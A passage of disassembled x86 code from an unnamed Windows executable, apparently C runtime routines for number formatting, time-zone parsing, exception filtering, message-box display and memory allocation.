jns short loc_42435B pop edi pop esi pop ebx leave retn sub_4242F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424380 proc near ; CODE XREF: sub_4244EC+Dp ; sub_424502+Dp var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] push ebx push esi push edi movzx ecx, word ptr [eax+0Ah] mov ebx, ecx and ecx, 8000h mov [ebp+arg_0], ecx mov ecx, [eax+6] mov [ebp+var_C], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] mov edi, [ebp+arg_8] and ebx, 7FFFh sub ebx, 3FFFh mov [ebp+var_8], ecx shl eax, 10h cmp ebx, 0FFFFC001h mov [ebp+var_4], eax jnz short loc_4243ED lea eax, [ebp+var_C] xor esi, esi push eax call sub_4242D8 test eax, eax pop ecx jnz loc_4244AC lea eax, [ebp+var_C] push eax call sub_4242CC pop ecx loc_4243E5: ; CODE XREF: sub_424380+E4j push 2 loc_4243E7: ; CODE XREF: sub_424380+110j pop eax jmp loc_4244AE ; --------------------------------------------------------------------------- loc_4243ED: ; CODE XREF: sub_424380+45j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_18] push eax call sub_4242B1 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_424225 add esp, 10h test eax, eax jz short loc_42440E inc ebx loc_42440E: ; CODE XREF: sub_424380+8Bj mov eax, [edi+4] mov ecx, eax sub ecx, [edi+8] cmp ebx, ecx jge short loc_424426 lea eax, [ebp+var_C] push eax call sub_4242CC pop ecx jmp short loc_424462 ; --------------------------------------------------------------------------- loc_424426: ; CODE XREF: sub_424380+98j cmp ebx, eax jg short loc_424469 sub eax, ebx mov esi, eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax call sub_4242B1 lea eax, [ebp+var_C] push esi push eax call sub_4242F3 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_424225 mov eax, [edi+0Ch] inc eax push eax lea eax, [ebp+var_C] push eax call sub_4242F3 add esp, 20h loc_424462: ; CODE XREF: sub_424380+A4j xor esi, esi jmp loc_4243E5 ; --------------------------------------------------------------------------- loc_424469: ; CODE XREF: sub_424380+A8j cmp ebx, [edi] jl short loc_424495 lea eax, [ebp+var_C] push eax call sub_4242CC push dword ptr [edi+0Ch] or byte ptr [ebp+var_C+3], 80h lea eax, [ebp+var_C] push eax call sub_4242F3 mov esi, [edi+14h] add esp, 0Ch add esi, [edi] push 1 jmp loc_4243E7 ; --------------------------------------------------------------------------- loc_424495: ; CODE XREF: sub_424380+EBj push dword ptr [edi+0Ch] mov esi, [edi+14h] and byte ptr [ebp+var_C+3], 7Fh lea eax, [ebp+var_C] push eax add esi, ebx call sub_4242F3 pop ecx pop ecx loc_4244AC: ; CODE XREF: sub_424380+55j xor eax, eax loc_4244AE: ; CODE XREF: sub_424380+68j push 1Fh pop ecx sub ecx, [edi+0Ch] mov edi, [edi+10h] shl esi, cl mov ecx, [ebp+arg_0] neg ecx sbb ecx, ecx and ecx, 80000000h or esi, ecx or esi, [ebp+var_C] cmp edi, 40h jnz short loc_4244DD mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx+4], esi mov [ecx], edx jmp short loc_4244E7 ; --------------------------------------------------------------------------- loc_4244DD: ; CODE XREF: sub_424380+14Ej cmp edi, 20h jnz short loc_4244E7 mov ecx, [ebp+arg_4] mov [ecx], esi loc_4244E7: ; CODE XREF: sub_424380+15Bj ; sub_424380+160j pop edi pop esi pop ebx leave retn sub_424380 endp ; =============== S U B R O U T I N E ======================================= sub_4244EC proc near ; CODE XREF: sub_424518+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43D358 push [esp+4+arg_4] push [esp+8+arg_0] call sub_424380 add esp, 0Ch retn sub_4244EC endp ; =============== S U B R O U T I N E ======================================= sub_424502 proc near ; CODE XREF: sub_424545+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43D370 push [esp+4+arg_4] push [esp+8+arg_0] call sub_424380 add esp, 0Ch retn sub_424502 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424518 proc near ; CODE XREF: sub_42199B+12p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4251F1 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_4244EC add esp, 24h leave retn sub_424518 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424545 proc near ; CODE XREF: sub_42199B+2Dp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4251F1 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_424502 add esp, 24h leave retn sub_424545 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424572 proc near ; CODE XREF: sub_4219D9+65p ; sub_421ADD+63p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov ecx, [edx+0Ch] push edi lea edi, [esi+1] mov byte ptr [esi], 30h test ebx, ebx mov eax, edi jle short loc_4245AF mov [ebp+arg_0], ebx xor ebx, ebx loc_424595: ; CODE XREF: sub_424572+38j mov dl, [ecx] test dl, dl jz short loc_4245A1 movsx edx, dl inc ecx jmp short loc_4245A4 ; --------------------------------------------------------------------------- loc_4245A1: ; CODE XREF: sub_424572+27j push 30h pop edx loc_4245A4: ; CODE XREF: sub_424572+2Dj mov [eax], dl inc eax dec [ebp+arg_0] jnz short loc_424595 mov edx, [ebp+arg_8] loc_4245AF: ; CODE XREF: sub_424572+1Cj and byte ptr [eax], 0 test ebx, ebx jl short loc_4245C8 cmp byte ptr [ecx], 35h jl short loc_4245C8 loc_4245BB: ; CODE XREF: sub_424572+52j dec eax cmp byte ptr [eax], 39h jnz short loc_4245C6 mov byte ptr [eax], 30h jmp short loc_4245BB ; --------------------------------------------------------------------------- loc_4245C6: ; CODE XREF: sub_424572+4Dj inc byte ptr [eax] loc_4245C8: ; CODE XREF: sub_424572+42j ; sub_424572+47j cmp byte ptr [esi], 31h jnz short loc_4245D2 inc dword ptr [edx+4] jmp short loc_4245E4 ; --------------------------------------------------------------------------- loc_4245D2: ; CODE XREF: sub_424572+59j push edi call sub_41AFE0 inc eax push eax push edi push esi call sub_41CC90 add esp, 10h loc_4245E4: ; CODE XREF: sub_424572+5Ej pop edi pop esi pop ebx pop ebp retn sub_424572 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4245E9 proc near ; CODE XREF: sub_4219D9+3Fp ; sub_421ADD+46p ... var_C = byte ptr -0Ch arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi lea eax, [ebp+arg_0] push edi push eax lea eax, [ebp+var_C] push eax call sub_42464D pop ecx lea esi, [ebp+var_C] pop ecx push offset word_4DBB50 push 0 push 11h sub esp, 0Ch mov edi, esp movsd movsd movsw call sub_4256C2 mov dword_4DBB78, eax add esp, 18h movsx eax, byte_4DBB52 mov dword_4DBB70, eax pop edi movsx eax, word_4DBB50 mov dword_4DBB74, eax mov dword_4DBB7C, offset dword_4DBB54 mov eax, offset dword_4DBB70 pop esi leave retn sub_4245E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42464D proc near ; CODE XREF: sub_4245E9+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] push ebx push esi push edi mov ax, [edx+6] mov edi, 7FFh mov ecx, eax and eax, 8000h shr ecx, 4 and ecx, edi mov [ebp+arg_4], eax mov eax, [edx+4] mov edx, [edx] movzx ebx, cx mov esi, 80000000h and eax, 0FFFFFh test ebx, ebx mov [ebp+var_4], esi jz short loc_42469B cmp ebx, edi jz short loc_424694 lea edi, [ecx+3C00h] jmp short loc_4246BC ; --------------------------------------------------------------------------- loc_424694: ; CODE XREF: sub_42464D+3Dj mov edi, 7FFFh jmp short loc_4246BC ; --------------------------------------------------------------------------- loc_42469B: ; CODE XREF: sub_42464D+39j xor ebx, ebx cmp eax, ebx jnz short loc_4246B3 cmp edx, ebx jnz short loc_4246B3 mov eax, [ebp+arg_0] mov [eax+4], ebx mov [eax], ebx mov [eax+8], bx jmp short loc_4246FE ; --------------------------------------------------------------------------- loc_4246B3: ; CODE XREF: sub_42464D+52j ; sub_42464D+56j lea edi, [ecx+3C01h] mov [ebp+var_4], ebx loc_4246BC: ; CODE XREF: sub_42464D+45j ; sub_42464D+4Cj mov ecx, edx shr ecx, 15h shl eax, 0Bh or ecx, eax mov eax, [ebp+arg_0] or ecx, [ebp+var_4] shl edx, 0Bh mov [eax+4], ecx mov [eax], edx loc_4246D4: ; CODE XREF: sub_42464D+A6j test ecx, esi jnz short loc_4246F5 mov edx, [eax] add ecx, ecx mov ebx, edx shr ebx, 1Fh or ebx, ecx lea ecx, [edx+edx] mov [eax], ecx mov [eax+4], ebx add edi, 0FFFFh mov ecx, ebx jmp short loc_4246D4 ; --------------------------------------------------------------------------- loc_4246F5: ; CODE XREF: sub_42464D+89j mov ecx, [ebp+arg_4] or ecx, edi mov [eax+8], cx loc_4246FE: ; CODE XREF: sub_42464D+64j pop edi pop esi pop ebx leave retn sub_42464D endp ; --------------------------------------------------------------------------- push 2 call sub_41DA29 pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_42470C proc near ; DATA XREF: ___:0043CF98o ; ___:0043D7F8o arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi] cmp dword ptr [eax], 0E06D7363h jnz short loc_42472F cmp dword ptr [eax+10h], 3 jnz short loc_42472F cmp dword ptr [eax+14h], 19930520h jnz short loc_42472F jmp sub_42255C ; --------------------------------------------------------------------------- loc_42472F: ; CODE XREF: sub_42470C+Dj ; sub_42470C+13j ... mov eax, dword_4DBB80 test eax, eax jz short loc_42474C push eax call sub_4247A8 test eax, eax pop ecx jz short loc_42474C push esi call dword_4DBB80 jmp short loc_42474E ; --------------------------------------------------------------------------- loc_42474C: ; CODE XREF: sub_42470C+2Aj ; sub_42470C+35j xor eax, eax loc_42474E: ; CODE XREF: sub_42470C+3Ej pop esi retn 4 sub_42470C endp ; --------------------------------------------------------------------------- word_424752 dw 0C68h ; DATA XREF: ___:00429028o ; --------------------------------------------------------------------------- inc edi inc edx add [eax+1DBDD4E8h], dl add ah, byte ptr dword_4DBB80[ebx] retn ; --------------------------------------------------------------------------- byte_424763 db 0FFh ; DATA XREF: ___:00429040o dd 4DBB8035h, 0C2E89000h, 0C3021DBDh ; =============== S U B R O U T I N E ======================================= sub_424770 proc near ; CODE XREF: sub_421DB1+6Bp ; sub_4222C2+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] nop call near ptr 2600000h test eax, eax jz short loc_424788 xor esi, esi loc_424788: ; CODE XREF: sub_424770+14j mov eax, esi pop esi retn sub_424770 endp ; =============== S U B R O U T I N E ======================================= sub_42478C proc near ; CODE XREF: sub_4222C2+73p ; sub_4222C2+BFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] nop call near ptr 28A083Eh test eax, eax jz short loc_4247A4 xor esi, esi loc_4247A4: ; CODE XREF: sub_42478C+14j mov eax, esi pop esi retn sub_42478C endp ; =============== S U B R O U T I N E ======================================= sub_4247A8 proc near ; CODE XREF: sub_4222C2+15Bp ; sub_42470C+2Dp arg_0 = dword ptr 4 push esi push 1 pop esi push [esp+4+arg_0] call near ptr 25F0C0Ah nop test eax, eax jz short loc_4247BC xor esi, esi loc_4247BC: ; CODE XREF: sub_4247A8+10j mov eax, esi pop esi retn sub_4247A8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42255C loc_4247C0: ; CODE XREF: sub_42255C:loc_4225ADj push 0Ah call sub_4235C9 push 16h call sub_425955 pop ecx pop ecx push 3 call sub_41B7C2 ; END OF FUNCTION CHUNK FOR sub_42255C ; =============== S U B R O U T I N E ======================================= sub_4247D7 proc near ; CODE XREF: sub_422669:loc_4226A8p cmp dword_4DBC40, 0 jnz short locret_4247EB call sub_4247EC inc dword_4DBC40 locret_4247EB: ; CODE XREF: sub_4247D7+7j retn sub_4247D7 endp ; =============== S U B R O U T I N E ======================================= sub_4247EC proc near ; CODE XREF: sub_4247D7+9p var_4 = dword ptr -4 push ecx push ebx push ebp push esi push edi xor ebp, ebp or ebx, 0FFFFFFFFh push offset aTz ; "TZ" xor edi, edi mov dword_4DBB88, ebp mov dword_43D430, ebx mov dword_43D420, ebx call sub_425AC7 mov esi, eax pop ecx cmp esi, ebp jnz loc_424915 push offset dword_4DBB90 nop call near ptr 2860000h cmp eax, ebx jz loc_424A44 mov eax, dword_4DBB90 mov ecx, dword_4DBBE4 imul eax, 3Ch cmp word_4DBBD6, bp push 1 pop edx mov dword_43D388, eax mov dword_4DBB88, edx jz short loc_424863 mov esi, ecx imul esi, 3Ch add eax, esi mov dword_43D388, eax loc_424863: ; CODE XREF: sub_4247EC+69j cmp word_4DBC2A, bp jz short loc_424887 mov eax, dword_4DBC38 cmp eax, ebp jz short loc_424887 sub eax, ecx mov dword_43D38C, edx imul eax, 3Ch mov dword_43D390, eax jmp short loc_424893 ; --------------------------------------------------------------------------- loc_424887: ; CODE XREF: sub_4247EC+7Ej ; sub_4247EC+87j mov dword_43D38C, ebp mov dword_43D390, ebp loc_424893: ; CODE XREF: sub_4247EC+99j lea eax, [esp+14h+var_4] mov esi, dword_42717C push eax push ebp push 3Fh mov edi, 220h push off_43D414 push ebx push offset dword_4DBB94 push edi push dword_4DBA24 call esi test eax, eax jz short loc_4248D0 cmp [esp+14h+var_4], ebp jnz short loc_4248D0 mov eax, off_43D414 and byte ptr [eax+3Fh], 0 jmp short loc_4248D8 ; --------------------------------------------------------------------------- loc_4248D0: ; CODE XREF: sub_4247EC+D1j ; sub_4247EC+D7j mov eax, off_43D414 and byte ptr [eax], 0 loc_4248D8: ; CODE XREF: sub_4247EC+E2j lea eax, [esp+14h+var_4] push eax push ebp push 3Fh push off_43D418 push ebx push offset dword_4DBBE8 push edi push dword_4DBA24 call esi test eax, eax jz loc_424A3C cmp [esp+14h+var_4], ebp jnz loc_424A3C mov eax, off_43D418 and byte ptr [eax+3Fh], 0 jmp loc_424A44 ; --------------------------------------------------------------------------- loc_424915: ; CODE XREF: sub_4247EC+2Dj cmp byte ptr [esi], 0 jz loc_424A44 mov eax, dword_4DBC3C cmp eax, ebp jz short loc_424938 push eax push esi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_424A44 loc_424938: ; CODE XREF: sub_4247EC+139j push dword_4DBC3C call sub_41B0B1 push esi call sub_41AFE0 inc eax push eax call sub_41B4D5 add esp, 0Ch cmp eax, ebp mov dword_4DBC3C, eax jz loc_424A44 push esi push eax call sub_41BEB0 push 3 push esi push off_43D414 call sub_41B5F0 mov eax, off_43D414 add esi, 3 add esp, 14h and byte ptr [eax+3], 0 cmp byte ptr [esi], 2Dh jnz short loc_42498D push 1 inc esi pop edi loc_42498D: ; CODE XREF: sub_4247EC+19Bj push esi call sub_41B6EE pop ecx mov bl, 30h mov ecx, eax imul ecx, 0E10h mov dword_43D388, ecx loc_4249A4: ; CODE XREF: sub_4247EC+1C7j mov al, [esi] cmp al, 2Bh jz short loc_4249B2 cmp al, bl jl short loc_4249B5 cmp al, 39h jg short loc_4249B5 loc_4249B2: ; CODE XREF: sub_4247EC+1BCj inc esi jmp short loc_4249A4 ; --------------------------------------------------------------------------- loc_4249B5: ; CODE XREF: sub_4247EC+1C0j ; sub_4247EC+1C4j cmp byte ptr [esi], 3Ah jnz short loc_424A08 inc esi push esi call sub_41B6EE imul eax, 3Ch pop ecx mov ecx, dword_43D388 add ecx, eax mov dword_43D388, ecx loc_4249D3: ; CODE XREF: sub_4247EC+1F2j mov al, [esi] cmp al, bl jl short loc_4249E0 cmp al, 39h jg short loc_4249E0 inc esi jmp short loc_4249D3 ; --------------------------------------------------------------------------- loc_4249E0: ; CODE XREF: sub_4247EC+1EBj ; sub_4247EC+1EFj cmp byte ptr [esi], 3Ah jnz short loc_424A08 inc esi push esi call sub_41B6EE pop ecx mov ecx, dword_43D388 add ecx, eax mov dword_43D388, ecx loc_4249FB: ; CODE XREF: sub_4247EC+21Aj mov al, [esi] cmp al, bl jl short loc_424A08 cmp al, 39h jg short loc_424A08 inc esi jmp short loc_4249FB ; --------------------------------------------------------------------------- loc_424A08: ; CODE XREF: sub_4247EC+1CCj ; sub_4247EC+1F7j ... cmp edi, ebp jz short loc_424A14 neg ecx mov dword_43D388, ecx loc_424A14: ; CODE XREF: sub_4247EC+21Ej movsx eax, byte ptr [esi] cmp eax, ebp mov dword_43D38C, eax jz short loc_424A3C push 3 push esi push off_43D418 call sub_41B5F0 mov eax, off_43D418 add esp, 0Ch and byte ptr [eax+3], 0 jmp short loc_424A44 ; --------------------------------------------------------------------------- loc_424A3C: ; CODE XREF: sub_4247EC+10Bj ; sub_4247EC+115j ... mov eax, off_43D418 and byte ptr [eax], 0 loc_424A44: ; CODE XREF: sub_4247EC+40j ; sub_4247EC+124j ... pop edi pop esi pop ebp pop ebx pop ecx retn sub_4247EC endp ; =============== S U B R O U T I N E ======================================= sub_424A4A proc near ; CODE XREF: sub_422669+A5p arg_0 = dword ptr 4 push ebx push esi push edi xor edi, edi cmp dword_43D38C, edi jnz short loc_424A5E loc_424A57: ; CODE XREF: sub_424A4A+148j ; sub_424A4A+150j ... xor eax, eax jmp loc_424BAA ; --------------------------------------------------------------------------- loc_424A5E: ; CODE XREF: sub_424A4A+Bj mov esi, [esp+0Ch+arg_0] push 1 pop ebx mov eax, [esi+14h] cmp eax, dword_43D420 jnz short loc_424A7C cmp eax, dword_43D430 jz loc_424B7E loc_424A7C: ; CODE XREF: sub_424A4A+24j cmp dword_4DBB88, edi jz loc_424B54 movzx ecx, word_4DBC36 push ecx cmp word_4DBC28, di movzx ecx, word_4DBC34 push ecx movzx ecx, word_4DBC32 push ecx movzx ecx, word_4DBC30 push ecx jnz short loc_424ACE movzx ecx, word_4DBC2C push edi push ecx movzx ecx, word_4DBC2E push ecx movzx ecx, word_4DBC2A push ecx push eax push ebx jmp short loc_424AE2 ; --------------------------------------------------------------------------- loc_424ACE: ; CODE XREF: sub_424A4A+65j movzx ecx, word_4DBC2E push ecx push edi movzx ecx, word_4DBC2A push edi push ecx push eax push edi loc_424AE2: ; CODE XREF: sub_424A4A+82j push ebx call sub_424BF6 movzx eax, word_4DBBE2 add esp, 2Ch cmp word_4DBBD4, di push eax movzx eax, word_4DBBE0 push eax movzx eax, word_4DBBDE push eax movzx eax, word_4DBBDC push eax jnz short loc_424B3C movzx eax, word_4DBBD8 push edi push eax movzx eax, word_4DBBDA push eax movzx eax, word_4DBBD6 push eax push dword ptr [esi+14h] push ebx loc_424B31: ; CODE XREF: sub_424A4A+108j push edi call sub_424BF6 add esp, 2Ch jmp short loc_424B7E ; --------------------------------------------------------------------------- loc_424B3C: ; CODE XREF: sub_424A4A+C8j movzx eax, word_4DBBDA push eax push edi movzx eax, word_4DBBD6 push edi push eax push dword ptr [esi+14h] push edi jmp short loc_424B31 ; --------------------------------------------------------------------------- loc_424B54: ; CODE XREF: sub_424A4A+38j push edi push edi push edi push 2 push edi push edi push ebx push 4 push eax push ebx push ebx call sub_424BF6 push edi push edi push edi push 2 push edi push edi push 5 push 0Ah push dword ptr [esi+14h] push ebx push edi call sub_424BF6 add esp, 58h loc_424B7E: ; CODE XREF: sub_424A4A+2Cj ; sub_424A4A+F0j mov edx, dword_43D424 mov eax, dword_43D434 mov ecx, [esi+1Ch] cmp edx, eax jge short loc_424BAE cmp ecx, edx jl loc_424A57 cmp ecx, eax jg loc_424A57 cmp ecx, edx jle short loc_424BC2 cmp ecx, eax jge short loc_424BC2 loc_424BA8: ; CODE XREF: sub_424A4A+166j ; sub_424A4A+16Aj mov eax, ebx loc_424BAA: ; CODE XREF: sub_424A4A+Fj ; sub_424A4A+19Dj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424BAE: ; CODE XREF: sub_424A4A+144j cmp ecx, eax jl short loc_424BA8 cmp ecx, edx jg short loc_424BA8 cmp ecx, eax jle short loc_424BC2 cmp ecx, edx jl loc_424A57 loc_424BC2: ; CODE XREF: sub_424A4A+158j ; sub_424A4A+15Cj ... mov eax, [esi+8] imul eax, 3Ch add eax, [esi+4] imul eax, 3Ch add eax, [esi] imul eax, 3E8h cmp ecx, edx jnz short loc_424BE9 xor ecx, ecx cmp eax, dword_43D428 setnl cl loc_424BE5: ; CODE XREF: sub_424A4A+1AAj mov eax, ecx jmp short loc_424BAA ; --------------------------------------------------------------------------- loc_424BE9: ; CODE XREF: sub_424A4A+18Ej xor ecx, ecx cmp eax, dword_43D438 setl cl jmp short loc_424BE5 sub_424A4A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424BF6 proc near ; CODE XREF: sub_424A4A+99p ; sub_424A4A+E8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp cmp [ebp+arg_4], 1 push ebx mov ebx, [ebp+arg_8] push esi jnz loc_424C91 mov eax, [ebp+arg_C] mov [ebp+arg_8], ebx and [ebp+arg_8], 3 mov esi, eax jnz short loc_424C21 shl esi, 2 mov eax, dword_43D438[esi] jmp short loc_424C2A ; --------------------------------------------------------------------------- loc_424C21: ; CODE XREF: sub_424BF6+1Ej shl esi, 2 mov eax, dword_43D46C[esi] loc_424C2A: ; CODE XREF: sub_424BF6+29j mov edx, ebx lea ecx, [eax+1] imul edx, 16Dh lea eax, [ebx-1] push edi sar eax, 2 mov edi, ecx push 7 add edi, eax lea eax, [edx+edi-63DBh] pop edi cdq idiv edi mov eax, [ebp+arg_10] pop edi cmp edx, [ebp+arg_14] jg short loc_424C64 imul eax, 7 sub eax, edx add eax, [ebp+arg_14] lea ecx, [ecx+eax-7] jmp short loc_424C6E ; --------------------------------------------------------------------------- loc_424C64: ; CODE XREF: sub_424BF6+5Ej imul eax, 7 sub eax, edx add eax, [ebp+arg_14] add ecx, eax loc_424C6E: ; CODE XREF: sub_424BF6+6Cj cmp [ebp+arg_10], 5 jnz short loc_424CAC cmp [ebp+arg_8], 0 jnz short loc_424C82 mov esi, dword_43D43C[esi] jmp short loc_424C88 ; --------------------------------------------------------------------------- loc_424C82: ; CODE XREF: sub_424BF6+82j mov esi, dword_43D470[esi] loc_424C88: ; CODE XREF: sub_424BF6+8Aj cmp ecx, esi jle short loc_424CAC sub ecx, 7 jmp short loc_424CAC ; --------------------------------------------------------------------------- loc_424C91: ; CODE XREF: sub_424BF6+Cj mov eax, [ebp+arg_C] test bl, 3 jnz short loc_424CA2 mov ecx, dword_43D438[eax*4] jmp short loc_424CA9 ; --------------------------------------------------------------------------- loc_424CA2: ; CODE XREF: sub_424BF6+A1j mov ecx, dword_43D46C[eax*4] loc_424CA9: ; CODE XREF: sub_424BF6+AAj add ecx, [ebp+arg_18] loc_424CAC: ; CODE XREF: sub_424BF6+7Cj ; sub_424BF6+94j ... cmp [ebp+arg_0], 1 jnz short loc_424CDD mov eax, [ebp+arg_1C] mov dword_43D424, ecx imul eax, 3Ch add eax, [ebp+arg_20] mov dword_43D420, ebx imul eax, 3Ch add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_43D428, eax jmp short loc_424D32 ; --------------------------------------------------------------------------- loc_424CDD: ; CODE XREF: sub_424BF6+BAj mov eax, [ebp+arg_1C] mov dword_43D434, ecx imul eax, 3Ch add eax, [ebp+arg_20] imul eax, 3Ch add eax, dword_43D390 add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_43D438, eax jns short loc_424D15 add eax, 5265C00h dec ecx mov dword_43D438, eax jmp short loc_424D26 ; --------------------------------------------------------------------------- loc_424D15: ; CODE XREF: sub_424BF6+110j mov edx, 5265C00h cmp eax, edx jl short loc_424D2C sub eax, edx inc ecx mov dword_43D438, eax loc_424D26: ; CODE XREF: sub_424BF6+11Dj mov dword_43D434, ecx loc_424D2C: ; CODE XREF: sub_424BF6+126j mov dword_43D430, ebx loc_424D32: ; CODE XREF: sub_424BF6+E5j pop esi pop ebx pop ebp retn sub_424BF6 endp ; =============== S U B R O U T I N E ======================================= sub_424D36 proc near ; CODE XREF: ___:00422E9Dp arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_424D47 add esp, 0Ch retn sub_424D36 endp ; =============== S U B R O U T I N E ======================================= sub_424D47 proc near ; CODE XREF: sub_424D36+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test byte_4DCEC1[eax], cl jnz short loc_424D74 cmp [esp+arg_4], 0 jz short loc_424D6D movzx eax, word_43C9E2[eax*2] and eax, [esp+arg_4] jmp short loc_424D6F ; --------------------------------------------------------------------------- loc_424D6D: ; CODE XREF: sub_424D47+16j xor eax, eax loc_424D6F: ; CODE XREF: sub_424D47+24j test eax, eax jnz short loc_424D74 retn ; --------------------------------------------------------------------------- loc_424D74: ; CODE XREF: sub_424D47+Fj ; sub_424D47+2Aj push 1 pop eax retn sub_424D47 endp ; =============== S U B R O U T I N E ======================================= sub_424D78 proc near ; CODE XREF: sub_4235C9+11Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx xor ebx, ebx cmp dword_4DBC44, ebx push esi push edi jnz short loc_424DC7 push offset aUser32_dll ; "user32.dll" call near ptr 26A0B0Dh nop mov edi, eax cmp edi, ebx jz short loc_424DFD mov esi, dword_4270BC push offset aMessageboxa ; "MessageBoxA" push edi call esi test eax, eax mov dword_4DBC44, eax jz short loc_424DFD push offset aGetactivewindo ; "GetActiveWindow" push edi call esi push offset aGetlastactivep ; "GetLastActivePopup" push edi mov dword_4DBC48, eax call esi mov dword_4DBC4C, eax loc_424DC7: ; CODE XREF: sub_424D78+Bj mov eax, dword_4DBC48 test eax, eax jz short loc_424DE6 call eax mov ebx, eax test ebx, ebx jz short loc_424DE6 mov eax, dword_4DBC4C test eax, eax jz short loc_424DE6 push ebx call eax mov ebx, eax loc_424DE6: ; CODE XREF: sub_424D78+56j ; sub_424D78+5Ej ... push [esp+0Ch+arg_8] push [esp+10h+arg_4] push [esp+14h+arg_0] push ebx call dword_4DBC44 loc_424DF9: ; CODE XREF: sub_424D78+87j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424DFD: ; CODE XREF: sub_424D78+1Cj ; sub_424D78+33j xor eax, eax jmp short loc_424DF9 sub_424D78 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424E01 proc near ; CODE XREF: sub_423936+22p ; sub_423936+3Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] imul esi, [ebp+arg_4] cmp esi, 0FFFFFFE0h push edi mov [ebp+arg_0], esi ja short loc_424E22 test esi, esi jnz short loc_424E1C push 1 pop esi loc_424E1C: ; CODE XREF: sub_424E01+16j add esi, 0Fh and esi, 0FFFFFFF0h loc_424E22: ; CODE XREF: sub_424E01+12j ; sub_424E01+94j xor edi, edi cmp esi, 0FFFFFFE0h ja short loc_424E81 mov eax, dword_4DCFE8 cmp eax, 3 jnz short loc_424E4D mov eax, [ebp+arg_0] cmp eax, dword_4DCFE0 ja short loc_424E6C push eax call sub_41E1CB mov edi, eax pop ecx test edi, edi jnz short loc_424E97 jmp short loc_424E6C ; --------------------------------------------------------------------------- loc_424E4D: ; CODE XREF: sub_424E01+30j cmp eax, 2 jnz short loc_424E6C cmp esi, dword_43C9D4 ja short loc_424E6C mov eax, esi shr eax, 4 push eax call sub_41EC6E mov edi, eax pop ecx test edi, edi jnz short loc_424EAB loc_424E6C: ; CODE XREF: sub_424E01+3Bj ; sub_424E01+4Aj ... push esi push 8 push dword_4DCFE4 call near ptr 27A0000h nop mov edi, eax test edi, edi jnz short loc_424EA5 loc_424E81: ; CODE XREF: sub_424E01+26j cmp dword_4DB9DC, 0 jz short loc_424EA5 push esi call sub_41F312 test eax, eax pop ecx jz short loc_424EAE jmp short loc_424E22 ; --------------------------------------------------------------------------- loc_424E97: ; CODE XREF: sub_424E01+48j push [ebp+arg_0] loc_424E9A: ; CODE XREF: sub_424E01+ABj push 0 push edi call sub_41B590 add esp, 0Ch loc_424EA5: ; CODE XREF: sub_424E01+7Ej ; sub_424E01+87j mov eax, edi loc_424EA7: ; CODE XREF: sub_424E01+AFj pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_424EAB: ; CODE XREF: 